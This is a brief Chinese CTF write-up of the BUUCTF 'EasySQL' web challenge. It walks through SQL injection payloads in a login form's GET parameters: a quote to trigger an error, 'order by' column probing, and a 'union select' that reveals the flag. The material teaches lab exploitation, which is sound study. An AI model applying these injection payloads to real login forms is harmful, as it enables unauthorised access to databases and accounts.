Buuctf-Web-[极客大挑战 2019]EasySQL
前言
刷题网址:https://buuoj.cn/challenges
首先在网页测试输入admin
,admin
,如下图,发现是GET传输
然后在后面输入一个'
,之后发现报错,如下图。
payload是:?username=admin&password=admin'
payload是:?username=admin&password=admin' order by 5%23
因为是GET传参,所以#
编码之后是%23
,如下图
经过测试,发现是有三个字段的,如下图
payload是:?username=admin&password=admin' order by 3
但是要查3个字段的时候发现flag直接出来了,如下图
payload是:?username=admin&password=admin' union select 1,2,3%23